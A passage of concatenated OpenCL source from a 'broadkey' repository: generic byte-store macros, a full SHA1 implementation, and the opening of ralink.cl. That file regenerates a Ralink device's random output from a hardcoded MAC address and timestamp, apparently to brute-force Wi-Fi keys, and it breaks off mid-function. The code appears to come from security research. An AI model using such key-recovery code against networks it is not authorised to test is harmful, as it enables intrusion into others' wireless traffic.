(buf)[(index)>>1] = ((buf)[(index)>>1] & ~(0xffffU << ((((index) & 1) ^ 3) << 4))) + ((val) << ((((index) & 1) ^ 3) << 4)) 254 | #define XORCHAR(buf, index, val) (buf)[(index)>>2] = ((buf)[(index)>>2]) ^ ((val) << (((index) & 3) << 3)) 255 | #define XORCHAR_BE(buf, index, val) (buf)[(index)>>2] = ((buf)[(index)>>2]) ^ ((val) << ((((index) & 3) ^ 3) << 3)) 256 | 257 | #else 258 | /* 8-bit stores */ 259 | #define PUTCHAR(buf, index, val) ((uchar*)(buf))[index] = (val) 260 | #define PUTCHAR_G(buf, index, val) ((__global uchar*)(buf))[(index)] = (val) 261 | #define PUTCHAR_L(buf, index, val) ((__local uchar*)(buf))[(index)] = (val) 262 | #define PUTCHAR_BE(buf, index, val) ((uchar*)(buf))[(index) ^ 3] = (val) 263 | #define PUTCHAR_BE_G(buf, index, val) ((__global uchar*)(buf))[(index) ^ 3] = (val) 264 | #define PUTSHORT(buf, index, val) ((ushort*)(buf))[index] = (val) 265 | #define PUTSHORT_BE(buf, index, val) ((ushort*)(buf))[(index) ^ 1] = (val) 266 | #define XORCHAR(buf, index, val) ((uchar*)(buf))[(index)] ^= (val) 267 | #define XORCHAR_BE(buf, index, val) ((uchar*)(buf))[(index) ^ 3] ^= (val) 268 | #endif 269 | 270 | /* Use with some caution... */ 271 | #define memcpy_macro(dst, src, count) do { \ 272 | uint c = count; \ 273 | for (uint _i = 0; _i < c; _i++) \ 274 | (dst)[_i] = (src)[_i]; \ 275 | } while (0) 276 | 277 | /* requires int/uint */ 278 | #define dump_stuff_msg(msg, x, size) do { \ 279 | uint ii; \ 280 | printf("%s : ", msg); \ 281 | for (ii = 0; ii < (size)/4; ii++) \ 282 | printf("%08x ", SWAP32(x[ii])); \ 283 | printf("\n"); \ 284 | } while (0) 285 | 286 | /* requires int/uint */ 287 | #define dump_stuff_be_msg(msg, x, size) do { \ 288 | uint ii; \ 289 | printf("%s : ", msg); \ 290 | for (ii = 0; ii < (size)/4; ii++) \ 291 | printf("%08x ", x[ii]); \ 292 | printf("\n"); \ 293 | } while (0) 294 | 295 | #endif 296 | -------------------------------------------------------------------------------- /broadkey/opencl/opencl_sha1.h: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenCL SHA1 3 | * 4 | * Copyright (c) 2014, magnum 5 | * This software is hereby released to the general public under 6 | * the following terms: Redistribution and use in source and binary 7 | * forms, with or without modification, are permitted. 8 | * 9 | * NOTICE: After changes in headers, you probably need to drop cached 10 | * kernels to ensure the changes take effect. 11 | * 12 | */ 13 | 14 | #ifndef _OPENCL_SHA1M_H 15 | #define _OPENCL_SHA1M_H 16 | 17 | #include "opencl_misc.h" 18 | 19 | #define USE_SHA1_SHORT 1 20 | 21 | #define INIT_A 0x67452301 22 | #define INIT_B 0xefcdab89 23 | #define INIT_C 0x98badcfe 24 | #define INIT_D 0x10325476 25 | #define INIT_E 0xc3d2e1f0 26 | 27 | #define SQRT_2 0x5a827999 28 | #define SQRT_3 0x6ed9eba1 29 | 30 | #define K1 0x5a827999 31 | #define K2 0x6ed9eba1 32 | #define K3 0x8f1bbcdc 33 | #define K4 0xca62c1d6 34 | 35 | #if HAVE_LUT3 36 | #define F1(x, y, z) lut3(x, y, z, 0xca) 37 | #elif USE_BITSELECT 38 | #define F1(x, y, z) bitselect(z, y, x) 39 | #elif HAVE_ANDNOT 40 | #define F1(x, y, z) ((x & y) ^ ((~x) & z)) 41 | #else 42 | #define F1(x, y, z) (z ^ (x & (y ^ z))) 43 | #endif 44 | 45 | #if HAVE_LUT3 46 | #define F2(x, y, z) lut3(x, y, z, 0x96) 47 | #else 48 | #define F2(x, y, z) (x ^ y ^ z) 49 | #endif 50 | 51 | #if HAVE_LUT3 52 | #define F3(x, y, z) lut3(x, y, z, 0xe8) 53 | #elif USE_BITSELECT 54 | #define F3(x, y, z) bitselect(x, y, (z) ^ (x)) 55 | #else 56 | #define F3(x, y, z) ((x & y) | (z & (x | y))) 57 | #endif 58 | 59 | #if HAVE_LUT3 60 | #define F4(x, y, z) lut3(x, y, z, 0x96) 61 | #else 62 | #define F4(x, y, z) (x ^ y ^ z) 63 | #endif 64 | 65 | #define R(t, W) \ 66 | ( \ 67 | temp = W[(t - 3) & 0x0F] ^ W[(t - 8) & 0x0F] ^ \ 68 | W[(t - 14) & 0x0F] ^ W[ t & 0x0F], \ 69 | ( W[t & 0x0F] = rotate(temp, 1U) ) \ 70 | ) 71 | 72 | #define R2(t, W) \ 73 | ( \ 74 | rotate((W[(t - 3) & 0x0F] ^ W[(t - 8) & 0x0F] ^ \ 75 | W[(t - 14) & 0x0F] ^ W[ t & 0x0F]), 1U) \ 76 | ) 77 | 78 | #define P1(a, b, c, d, e, x) \ 79 | { \ 80 | e += rotate(a, 5U) + F1(b, c, d) + K1 + x; b = rotate(b, 30U); \ 81 | } 82 | 83 | #define P2(a, b, c, d, e, x) \ 84 | { \ 85 | e += rotate(a, 5U) + F2(b, c, d) + K2 + x; b = rotate(b, 30U); \ 86 | } 87 | 88 | #define P3(a, b, c, d, e, x) \ 89 | { \ 90 | e += rotate(a, 5U) + F3(b, c, d) + K3 + x; b = rotate(b, 30U); \ 91 | } 92 | 93 | #define P4(a, b, c, d, e, x) \ 94 | { \ 95 | e += rotate(a, 5U) + F4(b, c, d) + K4 + x; b = rotate(b, 30U); \ 96 | } 97 | 98 | #define PZ(a, b, c, d, e) \ 99 | { \ 100 | e += rotate(a, 5U) + F1(b, c, d) + K1 ; b = rotate(b, 30U); \ 101 | } 102 | 103 | #define SHA1(A, B, C, D, E, W) \ 104 | P1(A, B, C, D, E, W[0] ); \ 105 | P1(E, A, B, C, D, W[1] ); \ 106 | P1(D, E, A, B, C, W[2] ); \ 107 | P1(C, D, E, A, B, W[3] ); \ 108 | P1(B, C, D, E, A, W[4] ); \ 109 | P1(A, B, C, D, E, W[5] ); \ 110 | P1(E, A, B, C, D, W[6] ); \ 111 | P1(D, E, A, B, C, W[7] ); \ 112 | P1(C, D, E, A, B, W[8] ); \ 113 | P1(B, C, D, E, A, W[9] ); \ 114 | P1(A, B, C, D, E, W[10]); \ 115 | P1(E, A, B, C, D, W[11]); \ 116 | P1(D, E, A, B, C, W[12]); \ 117 | P1(C, D, E, A, B, W[13]); \ 118 | P1(B, C, D, E, A, W[14]); \ 119 | P1(A, B, C, D, E, W[15]); \ 120 | P1(E, A, B, C, D, R(16,W)); \ 121 | P1(D, E, A, B, C, R(17,W)); \ 122 | P1(C, D, E, A, B, R(18,W)); \ 123 | P1(B, C, D, E, A, R(19,W)); \ 124 | P2(A, B, C, D, E, R(20,W)); \ 125 | P2(E, A, B, C, D, R(21,W)); \ 126 | P2(D, E, A, B, C, R(22,W)); \ 127 | P2(C, D, E, A, B, R(23,W)); \ 128 | P2(B, C, D, E, A, R(24,W)); \ 129 | P2(A, B, C, D, E, R(25,W)); \ 130 | P2(E, A, B, C, D, R(26,W)); \ 131 | P2(D, E, A, B, C, R(27,W)); \ 132 | P2(C, D, E, A, B, R(28,W)); \ 133 | P2(B, C, D, E, A, R(29,W)); \ 134 | P2(A, B, C, D, E, R(30,W)); \ 135 | P2(E, A, B, C, D, R(31,W)); \ 136 | P2(D, E, A, B, C, R(32,W)); \ 137 | P2(C, D, E, A, B, R(33,W)); \ 138 | P2(B, C, D, E, A, R(34,W)); \ 139 | P2(A, B, C, D, E, R(35,W)); \ 140 | P2(E, A, B, C, D, R(36,W)); \ 141 | P2(D, E, A, B, C, R(37,W)); \ 142 | P2(C, D, E, A, B, R(38,W)); \ 143 | P2(B, C, D, E, A, R(39,W)); \ 144 | P3(A, B, C, D, E, R(40,W)); \ 145 | P3(E, A, B, C, D, R(41,W)); \ 146 | P3(D, E, A, B, C, R(42,W)); \ 147 | P3(C, D, E, A, B, R(43,W)); \ 148 | P3(B, C, D, E, A, R(44,W)); \ 149 | P3(A, B, C, D, E, R(45,W)); \ 150 | P3(E, A, B, C, D, R(46,W)); \ 151 | P3(D, E, A, B, C, R(47,W)); \ 152 | P3(C, D, E, A, B, R(48,W)); \ 153 | P3(B, C, D, E, A, R(49,W)); \ 154 | P3(A, B, C, D, E, R(50,W)); \ 155 | P3(E, A, B, C, D, R(51,W)); \ 156 | P3(D, E, A, B, C, R(52,W)); \ 157 | P3(C, D, E, A, B, R(53,W)); \ 158 | P3(B, C, D, E, A, R(54,W)); \ 159 | P3(A, B, C, D, E, R(55,W)); \ 160 | P3(E, A, B, C, D, R(56,W)); \ 161 | P3(D, E, A, B, C, R(57,W)); \ 162 | P3(C, D, E, A, B, R(58,W)); \ 163 | P3(B, C, D, E, A, R(59,W)); \ 164 | P4(A, B, C, D, E, R(60,W)); \ 165 | P4(E, A, B, C, D, R(61,W)); \ 166 | P4(D, E, A, B, C, R(62,W)); \ 167 | P4(C, D, E, A, B, R(63,W)); \ 168 | P4(B, C, D, E, A, R(64,W)); \ 169 | P4(A, B, C, D, E, R(65,W)); \ 170 | P4(E, A, B, C, D, R(66,W)); \ 171 | P4(D, E, A, B, C, R(67,W)); \ 172 | P4(C, D, E, A, B, R(68,W)); \ 173 | P4(B, C, D, E, A, R(69,W)); \ 174 | P4(A, B, C, D, E, R(70,W)); \ 175 | P4(E, A, B, C, D, R(71,W)); \ 176 | P4(D, E, A, B, C, R(72,W)); \ 177 | P4(C, D, E, A, B, R(73,W)); \ 178 | P4(B, C, D, E, A, R(74,W)); \ 179 | P4(A, B, C, D, E, R(75,W)); \ 180 | P4(E, A, B, C, D, R(76,W)); \ 181 | P4(D, E, A, B, C, R(77,W)); \ 182 | P4(C, D, E, A, B, R(78,W)); \ 183 | P4(B, C, D, E, A, R(79,W)); 184 | 185 | #define SHA1_192Z_BEG(A, B, C, D, E, W) \ 186 | P1(A, B, C, D, E, W[0]); \ 187 | P1(E, A, B, C, D, W[1]); \ 188 | P1(D, E, A, B, C, W[2]); \ 189 | P1(C, D, E, A, B, W[3]); \ 190 | P1(B, C, D, E, A, W[4]); \ 191 | P1(A, B, C, D, E, W[5]); \ 192 | P1(E, A, B, C, D, W[6]); \ 193 | PZ(D, E, A, B, C); \ 194 | PZ(C, D, E, A, B); \ 195 | PZ(B, C, D, E, A); \ 196 | PZ(A, B, C, D, E); \ 197 | PZ(E, A, B, C, D); \ 198 | PZ(D, E, A, B, C); \ 199 | PZ(C, D, E, A, B); \ 200 | PZ(B, C, D, E, A); \ 201 | P1(A, B, C, D, E, W[15]); 202 | 203 | // Q16 temp = W[13] ^ W[8] ^ W[2] ^ W[0], ( W[0] = rotate(temp, 1) ) 204 | // Q17 temp = W[14] ^ W[9] ^ W[3] ^ W[1], ( W[1] = rotate(temp, 1) ) 205 | // Q18 temp = W[15] ^ W[10] ^ W[4] ^ W[2], ( W[2] = rotate(temp, 1) ) 206 | // Q19 temp = W[0] ^ W[11] ^ W[5] ^ W[3], ( W[3] = rotate(temp, 1) ) 207 | // Q20 temp = W[1] ^ W[12] ^ W[6] ^ W[4], ( W[4] = rotate(temp, 1) ) 208 | // Q21 temp = W[2] ^ W[13] ^ W[7] ^ W[5], ( W[5] = rotate(temp, 1) ) 209 | // Q22 temp = W[3] ^ W[14] ^ W[8] ^ W[6], ( W[6] = rotate(temp, 1) ) 210 | // Q23 temp = W[4] ^ W[15] ^ W[9] ^ W[7], ( W[7] = rotate(temp, 1) ) 211 | // Q24 temp = W[5] ^ W[0] ^ W[10] ^ W[8], ( W[8] = rotate(temp, 1) ) 212 | // Q25 temp = W[6] ^ W[1] ^ W[11] ^ W[9], ( W[9] = rotate(temp, 1) ) 213 | // Q26 temp = W[7] ^ W[2] ^ W[12] ^ W[10], ( W[10] = rotate(temp, 1) ) 214 | // Q27 temp = W[8] ^ W[3] ^ W[13] ^ W[11], ( W[11] = rotate(temp, 1) ) 215 | // Q28 temp = W[9] ^ W[4] ^ W[14] ^ W[12], ( W[12] = rotate(temp, 1) ) 216 | // Q29 temp = W[10] ^ W[5] ^ W[15] ^ W[13], ( W[13] = rotate(temp, 1) ) 217 | // Q30 temp = W[11] ^ W[6] ^ W[0] ^ W[14], ( W[14] = rotate(temp, 1) ) 218 | 219 | #define Q16(W) (W[0] = rotate((W[2] ^ W[0]), 1U)) 220 | #define Q17(W) (W[1] = rotate((W[3] ^ W[1]), 1U)) 221 | #define Q18(W) (W[2] = rotate((W[15] ^ W[4] ^ W[2]), 1U)) 222 | #define Q19(W) (W[3] = rotate((W[0] ^ W[5] ^ W[3]), 1U)) 223 | #define Q20(W) (W[4] = rotate((W[1] ^ W[6] ^ W[4]), 1U)) 224 | #define Q21(W) (W[5] = rotate((W[2] ^ W[5]), 1U)) 225 | #define Q22(W) (W[6] = rotate(W[3] ^ W[6], 1U)) 226 | #define Q23(W) (W[7] = rotate((W[4] ^ W[15]), 1U)) 227 | #define Q24(W) (W[8] = rotate((W[5] ^ W[0]), 1U)) 228 | #define Q25(W) (W[9] = rotate((W[6] ^ W[1]), 1U)) 229 | #define Q26(W) (W[10] = rotate((W[7] ^ W[2]), 1U)) 230 | #define Q27(W) (W[11] = rotate((W[8] ^ W[3]), 1U)) 231 | #define Q28(W) (W[12] = rotate((W[9] ^ W[4]), 1U)) 232 | #define Q29(W) (W[13] = rotate((W[10] ^ W[5] ^ W[15]), 1U)) 233 | #define Q30(W) (W[14] = rotate((W[11] ^ W[6] ^ W[0]), 1U)) 234 | 235 | #define SHA1_192Z_END(A, B, C, D, E, W) \ 236 | P1(E, A, B, C, D, Q16(W)); \ 237 | P1(D, E, A, B, C, Q17(W)); \ 238 | P1(C, D, E, A, B, Q18(W)); \ 239 | P1(B, C, D, E, A, Q19(W)); \ 240 | P2(A, B, C, D, E, Q20(W)); \ 241 | P2(E, A, B, C, D, Q21(W)); \ 242 | P2(D, E, A, B, C, Q22(W)); \ 243 | P2(C, D, E, A, B, Q23(W)); \ 244 | P2(B, C, D, E, A, Q24(W)); \ 245 | P2(A, B, C, D, E, Q25(W)); \ 246 | P2(E, A, B, C, D, Q26(W)); \ 247 | P2(D, E, A, B, C, Q27(W)); \ 248 | P2(C, D, E, A, B, Q28(W)); \ 249 | P2(B, C, D, E, A, Q29(W)); \ 250 | P2(A, B, C, D, E, Q30(W)); \ 251 | P2(E, A, B, C, D, R(31,W)); \ 252 | P2(D, E, A, B, C, R(32,W)); \ 253 | P2(C, D, E, A, B, R(33,W)); \ 254 | P2(B, C, D, E, A, R(34,W)); \ 255 | P2(A, B, C, D, E, R(35,W)); \ 256 | P2(E, A, B, C, D, R(36,W)); \ 257 | P2(D, E, A, B, C, R(37,W)); \ 258 | P2(C, D, E, A, B, R(38,W)); \ 259 | P2(B, C, D, E, A, R(39,W)); \ 260 | P3(A, B, C, D, E, R(40,W)); \ 261 | P3(E, A, B, C, D, R(41,W)); \ 262 | P3(D, E, A, B, C, R(42,W)); \ 263 | P3(C, D, E, A, B, R(43,W)); \ 264 | P3(B, C, D, E, A, R(44,W)); \ 265 | P3(A, B, C, D, E, R(45,W)); \ 266 | P3(E, A, B, C, D, R(46,W)); \ 267 | P3(D, E, A, B, C, R(47,W)); \ 268 | P3(C, D, E, A, B, R(48,W)); \ 269 | P3(B, C, D, E, A, R(49,W)); \ 270 | P3(A, B, C, D, E, R(50,W)); \ 271 | P3(E, A, B, C, D, R(51,W)); \ 272 | P3(D, E, A, B, C, R(52,W)); \ 273 | P3(C, D, E, A, B, R(53,W)); \ 274 | P3(B, C, D, E, A, R(54,W)); \ 275 | P3(A, B, C, D, E, R(55,W)); \ 276 | P3(E, A, B, C, D, R(56,W)); \ 277 | P3(D, E, A, B, C, R(57,W)); \ 278 | P3(C, D, E, A, B, R(58,W)); \ 279 | P3(B, C, D, E, A, R(59,W)); \ 280 | P4(A, B, C, D, E, R(60,W)); \ 281 | P4(E, A, B, C, D, R(61,W)); \ 282 | P4(D, E, A, B, C, R(62,W)); \ 283 | P4(C, D, E, A, B, R(63,W)); \ 284 | P4(B, C, D, E, A, R(64,W)); \ 285 | P4(A, B, C, D, E, R(65,W)); \ 286 | P4(E, A, B, C, D, R(66,W)); \ 287 | P4(D, E, A, B, C, R(67,W)); \ 288 | P4(C, D, E, A, B, R(68,W)); \ 289 | P4(B, C, D, E, A, R(69,W)); \ 290 | P4(A, B, C, D, E, R(70,W)); \ 291 | P4(E, A, B, C, D, R(71,W)); \ 292 | P4(D, E, A, B, C, R(72,W)); \ 293 | P4(C, D, E, A, B, R(73,W)); \ 294 | P4(B, C, D, E, A, R(74,W)); \ 295 | P4(A, B, C, D, E, R(75,W)); \ 296 | P4(E, A, B, C, D, R(76,W)); \ 297 | P4(D, E, A, B, C, R2(77,W)); \ 298 | P4(C, D, E, A, B, R2(78,W)); \ 299 | P4(B, C, D, E, A, R2(79,W)); 300 | 301 | #define SHA1_160Z_BEG(A, B, C, D, E, W) \ 302 | P1(A, B, C, D, E, W[0]); \ 303 | P1(E, A, B, C, D, W[1]); \ 304 | P1(D, E, A, B, C, W[2]); \ 305 | P1(C, D, E, A, B, W[3]); \ 306 | P1(B, C, D, E, A, W[4]); \ 307 | P1(A, B, C, D, E, W[5]); \ 308 | PZ(E, A, B, C, D); \ 309 | PZ(D, E, A, B, C); \ 310 | PZ(C, D, E, A, B); \ 311 | PZ(B, C, D, E, A); \ 312 | PZ(A, B, C, D, E); \ 313 | PZ(E, A, B, C, D); \ 314 | PZ(D, E, A, B, C); \ 315 | PZ(C, D, E, A, B); \ 316 | PZ(B, C, D, E, A); \ 317 | P1(A, B, C, D, E, W[15]); 318 | 319 | // Q16 temp = W[13] ^ W[8] ^ W[2] ^ W[0], ( W[0] = rotate(temp, 1) ) 320 | // Q17 temp = W[14] ^ W[9] ^ W[3] ^ W[1], ( W[1] = rotate(temp, 1) ) 321 | // Q18 temp = W[15] ^ W[10] ^ W[4] ^ W[2], ( W[2] = rotate(temp, 1) ) 322 | // Q19 temp = W[0] ^ W[11] ^ W[5] ^ W[3], ( W[3] = rotate(temp, 1) ) 323 | // Q20 temp = W[1] ^ W[12] ^ W[6] ^ W[4], ( W[4] = rotate(temp, 1) ) 324 | // Q21 temp = W[2] ^ W[13] ^ W[7] ^ W[5], ( W[5] = rotate(temp, 1) ) 325 | // Q22 temp = W[3] ^ W[14] ^ W[8] ^ W[6], ( W[6] = rotate(temp, 1) ) 326 | // Q23 temp = W[4] ^ W[15] ^ W[9] ^ W[7], ( W[7] = rotate(temp, 1) ) 327 | // Q24 temp = W[5] ^ W[0] ^ W[10] ^ W[8], ( W[8] = rotate(temp, 1) ) 328 | // Q25 temp = W[6] ^ W[1] ^ W[11] ^ W[9], ( W[9] = rotate(temp, 1) ) 329 | // Q26 temp = W[7] ^ W[2] ^ W[12] ^ W[10], ( W[10] = rotate(temp, 1) ) 330 | // Q27 temp = W[8] ^ W[3] ^ W[13] ^ W[11], ( W[11] = rotate(temp, 1) ) 331 | // Q28 temp = W[9] ^ W[4] ^ W[14] ^ W[12], ( W[12] = rotate(temp, 1) ) 332 | // Q29 temp = W[10] ^ W[5] ^ W[15] ^ W[13], ( W[13] = rotate(temp, 1) ) 333 | // Q30 temp = W[11] ^ W[6] ^ W[0] ^ W[14], ( W[14] = rotate(temp, 1) ) 334 | 335 | #define Q20_160(W) (W[4] = rotate((W[1] ^ W[4]), 1U)) 336 | #define Q22_160(W) (W[6] = rotate(W[3], 1U)) 337 | 338 | #define SHA1_160Z_END(A, B, C, D, E, W) \ 339 | P1(E, A, B, C, D, Q16(W)); \ 340 | P1(D, E, A, B, C, Q17(W)); \ 341 | P1(C, D, E, A, B, Q18(W)); \ 342 | P1(B, C, D, E, A, Q19(W)); \ 343 | P2(A, B, C, D, E, Q20_160(W)); \ 344 | P2(E, A, B, C, D, Q21(W)); \ 345 | P2(D, E, A, B, C, Q22_160(W)); \ 346 | P2(C, D, E, A, B, Q23(W)); \ 347 | P2(B, C, D, E, A, Q24(W)); \ 348 | P2(A, B, C, D, E, Q25(W)); \ 349 | P2(E, A, B, C, D, Q26(W)); \ 350 | P2(D, E, A, B, C, Q27(W)); \ 351 | P2(C, D, E, A, B, Q28(W)); \ 352 | P2(B, C, D, E, A, Q29(W)); \ 353 | P2(A, B, C, D, E, Q30(W)); \ 354 | P2(E, A, B, C, D, R(31,W)); \ 355 | P2(D, E, A, B, C, R(32,W)); \ 356 | P2(C, D, E, A, B, R(33,W)); \ 357 | P2(B, C, D, E, A, R(34,W)); \ 358 | P2(A, B, C, D, E, R(35,W)); \ 359 | P2(E, A, B, C, D, R(36,W)); \ 360 | P2(D, E, A, B, C, R(37,W)); \ 361 | P2(C, D, E, A, B, R(38,W)); \ 362 | P2(B, C, D, E, A, R(39,W)); \ 363 | P3(A, B, C, D, E, R(40,W)); \ 364 | P3(E, A, B, C, D, R(41,W)); \ 365 | P3(D, E, A, B, C, R(42,W)); \ 366 | P3(C, D, E, A, B, R(43,W)); \ 367 | P3(B, C, D, E, A, R(44,W)); \ 368 | P3(A, B, C, D, E, R(45,W)); \ 369 | P3(E, A, B, C, D, R(46,W)); \ 370 | P3(D, E, A, B, C, R(47,W)); \ 371 | P3(C, D, E, A, B, R(48,W)); \ 372 | P3(B, C, D, E, A, R(49,W)); \ 373 | P3(A, B, C, D, E, R(50,W)); \ 374 | P3(E, A, B, C, D, R(51,W)); \ 375 | P3(D, E, A, B, C, R(52,W)); \ 376 | P3(C, D, E, A, B, R(53,W)); \ 377 | P3(B, C, D, E, A, R(54,W)); \ 378 | P3(A, B, C, D, E, R(55,W)); \ 379 | P3(E, A, B, C, D, R(56,W)); \ 380 | P3(D, E, A, B, C, R(57,W)); \ 381 | P3(C, D, E, A, B, R(58,W)); \ 382 | P3(B, C, D, E, A, R(59,W)); \ 383 | P4(A, B, C, D, E, R(60,W)); \ 384 | P4(E, A, B, C, D, R(61,W)); \ 385 | P4(D, E, A, B, C, R(62,W)); \ 386 | P4(C, D, E, A, B, R(63,W)); \ 387 | P4(B, C, D, E, A, R(64,W)); \ 388 | P4(A, B, C, D, E, R(65,W)); \ 389 | P4(E, A, B, C, D, R(66,W)); \ 390 | P4(D, E, A, B, C, R(67,W)); \ 391 | P4(C, D, E, A, B, R(68,W)); \ 392 | P4(B, C, D, E, A, R(69,W)); \ 393 | P4(A, B, C, D, E, R(70,W)); \ 394 | P4(E, A, B, C, D, R(71,W)); \ 395 | P4(D, E, A, B, C, R(72,W)); \ 396 | P4(C, D, E, A, B, R(73,W)); \ 397 | P4(B, C, D, E, A, R(74,W)); \ 398 | P4(A, B, C, D, E, R(75,W)); \ 399 | P4(E, A, B, C, D, R(76,W)); \ 400 | P4(D, E, A, B, C, R2(77,W)); \ 401 | P4(C, D, E, A, B, R2(78,W)); \ 402 | P4(B, C, D, E, A, R2(79,W)); 403 | 404 | #define SHA1_160Z(A, B, C, D, E, W) SHA1_160Z_BEG(A, B, C, D, E, W) SHA1_160Z_END(A, B, C, D, E, W) 405 | 406 | #define SHA1_192Z(A, B, C, D, E, W) SHA1_192Z_BEG(A, B, C, D, E, W) SHA1_192Z_END(A, B, C, D, E, W) 407 | 408 | #define sha1_init(ctx) { \ 409 | ctx[0] = INIT_A; \ 410 | ctx[1] = INIT_B; \ 411 | ctx[2] = INIT_C; \ 412 | ctx[3] = INIT_D; \ 413 | ctx[4] = INIT_E; \ 414 | } 415 | 416 | /* 417 | * The extra a, b, c, d, e variables are a workaround for a really silly 418 | * AMD bug (seen in eg. Catalyst 14.9). We should really do without them 419 | * but somehow we get thrashed output without them. 420 | * On the other hand, they also seem to work as an optimization for nvidia! 421 | * 422 | * Intel doesn't support typeof() but also doesn't need the workaround. 423 | */ 424 | #if !(DEVICE_INFO & DEV_INTEL) 425 | #define sha1_block(W, ctx) { \ 426 | typeof(A) a, b, c, d, e; \ 427 | A = ctx[0]; \ 428 | B = ctx[1]; \ 429 | C = ctx[2]; \ 430 | D = ctx[3]; \ 431 | E = ctx[4]; \ 432 | a=A, b=B, c=C, d=D, e=E; \ 433 | SHA1(A, B, C, D, E, W); \ 434 | ctx[0] = a + A; \ 435 | ctx[1] = b + B; \ 436 | ctx[2] = c + C; \ 437 | ctx[3] = d + D; \ 438 | ctx[4] = e + E; \ 439 | } 440 | #else 441 | #define sha1_block(W, ctx) { \ 442 | A = ctx[0]; \ 443 | B = ctx[1]; \ 444 | C = ctx[2]; \ 445 | D = ctx[3]; \ 446 | E = ctx[4]; \ 447 | SHA1(A, B, C, D, E, W); \ 448 | ctx[0] += A; \ 449 | ctx[1] += B; \ 450 | ctx[2] += C; \ 451 | ctx[3] += D; \ 452 | ctx[4] += E; \ 453 | } 454 | #endif 455 | 456 | #define sha1_single(W, out) { \ 457 | A = INIT_A; \ 458 | B = INIT_B; \ 459 | C = INIT_C; \ 460 | D = INIT_D; \ 461 | E = INIT_E; \ 462 | SHA1(A, B, C, D, E, W); \ 463 | out[0] = A + INIT_A; \ 464 | out[1] = B + INIT_B; \ 465 | out[2] = C + INIT_C; \ 466 | out[3] = D + INIT_D; \ 467 | out[4] = E + INIT_E; \ 468 | } 469 | 470 | #if 1 /* DEV_VER_MAJOR == 1573 && DEV_VER_MINOR == 4 */ 471 | #define sha1_block_160Z(W, ctx) { \ 472 | MAYBE_VECTOR_UINT a, b, c, d, e; \ 473 | A = ctx[0]; \ 474 | B = ctx[1]; \ 475 | C = ctx[2]; \ 476 | D = ctx[3]; \ 477 | E = ctx[4]; \ 478 | a=A, b=B, c=C, d=D, e=E; \ 479 | SHA1_160Z(A, B, C, D, E, W); \ 480 | ctx[0] = a + A; \ 481 | ctx[1] = b + B; \ 482 | ctx[2] = c + C; \ 483 | ctx[3] = d + D; \ 484 | ctx[4] = e + E; \ 485 | } 486 | #else 487 | #define sha1_block_160Z(W, ctx) { \ 488 | A = ctx[0]; \ 489 | B = ctx[1]; \ 490 | C = ctx[2]; \ 491 | D = ctx[3]; \ 492 | E = ctx[4]; \ 493 | SHA1_160Z(A, B, C, D, E, W); \ 494 | ctx[0] += A; \ 495 | ctx[1] += B; \ 496 | ctx[2] += C; \ 497 | ctx[3] += D; \ 498 | ctx[4] += E; \ 499 | } 500 | #endif 501 | 502 | #define sha1_single_160Z(W, out) { \ 503 | A = INIT_A; \ 504 | B = INIT_B; \ 505 | C = INIT_C; \ 506 | D = INIT_D; \ 507 | E = INIT_E; \ 508 | SHA1_160Z(A, B, C, D, E, W); \ 509 | out[0] = A + INIT_A; \ 510 | out[1] = B + INIT_B; \ 511 | out[2] = C + INIT_C; \ 512 | out[3] = D + INIT_D; \ 513 | out[4] = E + INIT_E; \ 514 | } 515 | 516 | #if 1 /* DEV_VER_MAJOR == 1573 && DEV_VER_MINOR == 4 */ 517 | #define sha1_block_192Z(W, ctx) { \ 518 | MAYBE_VECTOR_UINT a, b, c, d, e; \ 519 | A = ctx[0]; \ 520 | B = ctx[1]; \ 521 | C = ctx[2]; \ 522 | D = ctx[3]; \ 523 | E = ctx[4]; \ 524 | a=A, b=B, c=C, d=D, e=E; \ 525 | SHA1_192Z(A, B, C, D, E, W); \ 526 | ctx[0] = a + A; \ 527 | ctx[1] = b + B; \ 528 | ctx[2] = c + C; \ 529 | ctx[3] = d + D; \ 530 | ctx[4] = e + E; \ 531 | } 532 | #else 533 | #define sha1_block_192Z(W, ctx) { \ 534 | A = ctx[0]; \ 535 | B = ctx[1]; \ 536 | C = ctx[2]; \ 537 | D = ctx[3]; \ 538 | E = ctx[4]; \ 539 | SHA1_192Z(A, B, C, D, E, W); \ 540 | ctx[0] += A; \ 541 | ctx[1] += B; \ 542 | ctx[2] += C; \ 543 | ctx[3] += D; \ 544 | ctx[4] += E; \ 545 | } 546 | #endif 547 | 548 | #define sha1_single_192Z(W, out) { \ 549 | A = INIT_A; \ 550 | B = INIT_B; \ 551 | C = INIT_C; \ 552 | D = INIT_D; \ 553 | E = INIT_E; \ 554 | SHA1_192Z(A, B, C, D, E, W); \ 555 | out[0] = A + INIT_A; \ 556 | out[1] = B + INIT_B; \ 557 | out[2] = C + INIT_C; \ 558 | out[3] = D + INIT_D; \ 559 | out[4] = E + INIT_E; \ 560 | } 561 | 562 | #endif /* _OPENCL_SHA1M_H */ 563 | -------------------------------------------------------------------------------- /broadkey/opencl/ralink.cl: -------------------------------------------------------------------------------- 1 | /* 2 | * This software is Copyright (c) 2016 Mathy Vanhoef and it is hereby released 3 | * to the general public under the following terms: Redistribution and use in 4 | * source and binary forms, with or without modification, are permitted. 5 | * 6 | * TODO: Speed up executiong of AES 7 | * TODO: Better usage/management of global memory? 8 | * TODO: Manually optimize the working groups? 9 | */ 10 | 11 | #include "ieeeprf.cl" 12 | #include "AESOpenCL.cl" 13 | #include "util.cl" 14 | 15 | 16 | /** 17 | * @param time Time in little-endian (native format) 18 | * @param output 32-bytes output in Big Endian 19 | */ 20 | void ralink_gen_random_all(uint time, uint __private output[32][8]) 21 | { 22 | // Hardcode the MAC address and insert the time (both in big endian) 23 | uint buff[11] = {0x%(MACADDR1)08X, 0x%(MACADDR2)08X}; // 0x382C4AC1, 0x69BC0000 24 | uint buffinc[11] = {0x%(MACADDR1)08X, 0x%(MACADDR2)08X}; // 0x382C4AC1, 0x69BC0000 25 | buff[1] |= ((time >> 8) & 0xFF) | ((time & 0xFF) << 8); 26 | buff[2] = ((time & 0xFF000000) >> 8) | ((time & 0x00FF0000) << 8); 27 | 28 | time++; 29 | buffinc[1] |= ((time >> 8) & 0xFF) | ((time & 0xFF) << 8); 30 | buffinc[2] = ((time & 0xFF000000) >> 8) | ((time & 0x00FF0000) << 8); 31 | 32 | // First loop 33 | prf256_counter(buff, output[0]); 34 | 35 | // Other loops 36 | #pragma unroll 37 | for (int i = 1; i < 32; i++) 38 | { 39 | // Continue path without increase in timestamp. Executed first so we 40 | // use the previous value of output[i - 1] before it's updated. 